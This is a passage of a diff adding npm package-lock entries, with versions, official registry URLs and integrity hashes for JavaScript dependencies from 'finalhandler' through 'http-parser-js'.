+      "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+      "requires": {
+        "to-regex-range": "^5.0.1"
+      }
+    },
+    "finalhandler": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz",
+      "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==",
+      "requires": {
+        "debug": "2.6.9",
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "on-finished": "2.4.1",
+        "parseurl": "~1.3.3",
+        "statuses": "2.0.1",
+        "unpipe": "~1.0.0"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "2.6.9",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+          "requires": {
+            "ms": "2.0.0"
+          }
+        },
+        "ms": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+          "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+        }
+      }
+    },
+    "find-cache-dir": {
+      "version": "3.3.2",
+      "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
+      "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+      "requires": {
+        "commondir": "^1.0.1",
+        "make-dir": "^3.0.2",
+        "pkg-dir": "^4.1.0"
+      }
+    },
+    "find-up": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+      "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
+      "requires": {
+        "locate-path": "^6.0.0",
+        "path-exists": "^4.0.0"
+      }
+    },
+    "flat-cache": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz",
+      "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==",
+      "requires": {
+        "flatted": "^3.1.0",
+        "rimraf": "^3.0.2"
+      }
+    },
+    "flatted": {
+      "version": "3.2.7",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz",
+      "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ=="
+    },
+    "follow-redirects": {
+      "version": "1.15.6",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz",
+      "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA=="
+    },
+    "fork-ts-checker-webpack-plugin": {
+      "version": "6.5.2",
+      "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.2.tgz",
+      "integrity": "sha512-m5cUmF30xkZ7h4tWUgTAcEaKmUW7tfyUyTqNNOz7OxWJ0v1VWKTcOvH8FWHUwSjlW/356Ijc9vi3XfcPstpQKA==",
+      "requires": {
+        "@babel/code-frame": "^7.8.3",
+        "@types/json-schema": "^7.0.5",
+        "chalk": "^4.1.0",
+        "chokidar": "^3.4.2",
+        "cosmiconfig": "^6.0.0",
+        "deepmerge": "^4.2.2",
+        "fs-extra": "^9.0.0",
+        "glob": "^7.1.6",
+        "memfs": "^3.1.2",
+        "minimatch": "^3.0.4",
+        "schema-utils": "2.7.0",
+        "semver": "^7.3.2",
+        "tapable": "^1.0.0"
+      },
+      "dependencies": {
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "cosmiconfig": {
+          "version": "6.0.0",
+          "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz",
+          "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==",
+          "requires": {
+            "@types/parse-json": "^4.0.0",
+            "import-fresh": "^3.1.0",
+            "parse-json": "^5.0.0",
+            "path-type": "^4.0.0",
+            "yaml": "^1.7.2"
+          }
+        },
+        "fs-extra": {
+          "version": "9.1.0",
+          "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+          "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+          "requires": {
+            "at-least-node": "^1.0.0",
+            "graceful-fs": "^4.2.0",
+            "jsonfile": "^6.0.1",
+            "universalify": "^2.0.0"
+          }
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "schema-utils": {
+          "version": "2.7.0",
+          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz",
+          "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==",
+          "requires": {
+            "@types/json-schema": "^7.0.4",
+            "ajv": "^6.12.2",
+            "ajv-keywords": "^3.4.1"
+          }
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        },
+        "tapable": {
+          "version": "1.1.3",
+          "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
+          "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA=="
+        }
+      }
+    },
+    "form-data": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz",
+      "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==",
+      "requires": {
+        "asynckit": "^0.4.0",
+        "combined-stream": "^1.0.8",
+        "mime-types": "^2.1.12"
+      }
+    },
+    "forwarded": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+      "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="
+    },
+    "fraction.js": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz",
+      "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA=="
+    },
+    "fresh": {
+      "version": "0.5.2",
+      "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+      "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q=="
+    },
+    "fs-extra": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
+      "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
+      "requires": {
+        "graceful-fs": "^4.2.0",
+        "jsonfile": "^6.0.1",
+        "universalify": "^2.0.0"
+      }
+    },
+    "fs-monkey": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz",
+      "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q=="
+    },
+    "fs.realpath": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+    },
+    "fsevents": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+      "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+      "optional": true
+    },
+    "function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="
+    },
+    "function.prototype.name": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz",
+      "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.0",
+        "functions-have-names": "^1.2.2"
+      }
+    },
+    "functions-have-names": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
+      "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="
+    },
+    "gensync": {
+      "version": "1.0.0-beta.2",
+      "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+      "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="
+    },
+    "get-caller-file": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+      "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="
+    },
+    "get-intrinsic": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
+      "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
+      "requires": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "has-proto": "^1.0.1",
+        "has-symbols": "^1.0.3",
+        "hasown": "^2.0.0"
+      }
+    },
+    "get-own-enumerable-property-symbols": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
+      "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g=="
+    },
+    "get-package-type": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
+      "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q=="
+    },
+    "get-stream": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
+      "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg=="
+    },
+    "get-symbol-description": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
+      "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "get-intrinsic": "^1.1.1"
+      }
+    },
+    "glob": {
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "requires": {
+        "fs.realpath": "^1.0.0",
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "^3.1.1",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      }
+    },
+    "glob-parent": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+      "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+      "requires": {
+        "is-glob": "^4.0.3"
+      }
+    },
+    "glob-to-regexp": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
+      "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="
+    },
+    "global-modules": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz",
+      "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==",
+      "requires": {
+        "global-prefix": "^3.0.0"
+      }
+    },
+    "global-prefix": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz",
+      "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==",
+      "requires": {
+        "ini": "^1.3.5",
+        "kind-of": "^6.0.2",
+        "which": "^1.3.1"
+      },
+      "dependencies": {
+        "which": {
+          "version": "1.3.1",
+          "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+          "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+          "requires": {
+            "isexe": "^2.0.0"
+          }
+        }
+      }
+    },
+    "globals": {
+      "version": "11.12.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+      "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="
+    },
+    "globby": {
+      "version": "11.1.0",
+      "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+      "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+      "requires": {
+        "array-union": "^2.1.0",
+        "dir-glob": "^3.0.1",
+        "fast-glob": "^3.2.9",
+        "ignore": "^5.2.0",
+        "merge2": "^1.4.1",
+        "slash": "^3.0.0"
+      }
+    },
+    "gopd": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz",
+      "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==",
+      "requires": {
+        "get-intrinsic": "^1.1.3"
+      }
+    },
+    "graceful-fs": {
+      "version": "4.2.11",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+      "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="
+    },
+    "grapheme-splitter": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz",
+      "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ=="
+    },
+    "gzip-size": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz",
+      "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==",
+      "requires": {
+        "duplexer": "^0.1.2"
+      }
+    },
+    "handle-thing": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz",
+      "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg=="
+    },
+    "harmony-reflect": {
+      "version": "1.6.1",
+      "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.1.tgz",
+      "integrity": "sha512-WJTeyp0JzGtHcuMsi7rw2VwtkvLa+JyfEKJCFyfcS0+CDkjQ5lHPu7zEhFZP+PDSRrEgXa5Ah0l1MbgbE41XjA=="
+    },
+    "has": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+      "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+      "requires": {
+        "function-bind": "^1.1.1"
+      }
+    },
+    "has-bigints": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz",
+      "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="
+    },
+    "has-flag": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+      "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0="
+    },
+    "has-property-descriptors": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+      "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "requires": {
+        "es-define-property": "^1.0.0"
+      }
+    },
+    "has-proto": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz",
+      "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q=="
+    },
+    "has-symbols": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz",
+      "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A=="
+    },
+    "has-tostringtag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz",
+      "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==",
+      "requires": {
+        "has-symbols": "^1.0.2"
+      }
+    },
+    "hasown": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+      "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+      "requires": {
+        "function-bind": "^1.1.2"
+      }
+    },
+    "he": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
+      "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="
+    },
+    "hoopy": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/hoopy/-/hoopy-0.1.4.tgz",
+      "integrity": "sha512-HRcs+2mr52W0K+x8RzcLzuPPmVIKMSv97RGHy0Ea9y/mpcaK+xTrjICA04KAHi4GRzxliNqNJEFYWHghy3rSfQ=="
+    },
+    "hpack.js": {
+      "version": "2.1.6",
+      "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
+      "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==",
+      "requires": {
+        "inherits": "^2.0.1",
+        "obuf": "^1.0.0",
+        "readable-stream": "^2.0.1",
+        "wbuf": "^1.1.0"
+      },
+      "dependencies": {
+        "readable-stream": {
+          "version": "2.3.7",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+          "requires": {
+            "core-util-is": "~1.0.0",
+            "inherits": "~2.0.3",
+            "isarray": "~1.0.0",
+            "process-nextick-args": "~2.0.0",
+            "safe-buffer": "~5.1.1",
+            "string_decoder": "~1.1.1",
+            "util-deprecate": "~1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.1.1",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+          "requires": {
+            "safe-buffer": "~5.1.0"
+          }
+        }
+      }
+    },
+    "html-encoding-sniffer": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
+      "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==",
+      "requires": {
+        "whatwg-encoding": "^1.0.5"
+      }
+    },
+    "html-entities": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz",
+      "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA=="
+    },
+    "html-escaper": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
+      "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg=="
+    },
+    "html-minifier-terser": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
+      "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==",
+      "requires": {
+        "camel-case": "^4.1.2",
+        "clean-css": "^5.2.2",
+        "commander": "^8.3.0",
+        "he": "^1.2.0",
+        "param-case": "^3.0.4",
+        "relateurl": "^0.2.7",
+        "terser": "^5.10.0"
+      }
+    },
+    "html-webpack-plugin": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz",
+      "integrity": "sha512-sy88PC2cRTVxvETRgUHFrL4No3UxvcH8G1NepGhqaTT+GXN2kTamqasot0inS5hXeg1cMbFDt27zzo9p35lZVw==",
+      "requires": {
+        "@types/html-minifier-terser": "^6.0.0",
+        "html-minifier-terser": "^6.0.2",
+        "lodash": "^4.17.21",
+        "pretty-error": "^4.0.0",
+        "tapable": "^2.0.0"
+      }
+    },
+    "htmlparser2": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz",
+      "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==",
+      "requires": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.0.0",
+        "domutils": "^2.5.2",
+        "entities": "^2.0.0"
+      }
+    },
+    "http-deceiver": {
+      "version": "1.2.7",
+      "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
+      "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw=="
+    },
+    "http-errors": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
+      "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
+      "requires": {
+        "depd": "2.0.0",
+        "inherits": "2.0.4",
+        "setprototypeof": "1.2.0",
+        "statuses": "2.0.1",
+        "toidentifier": "1.0.1"
+      }
+    },
+    "http-parser-js": {
+      "version": "0.5.8",
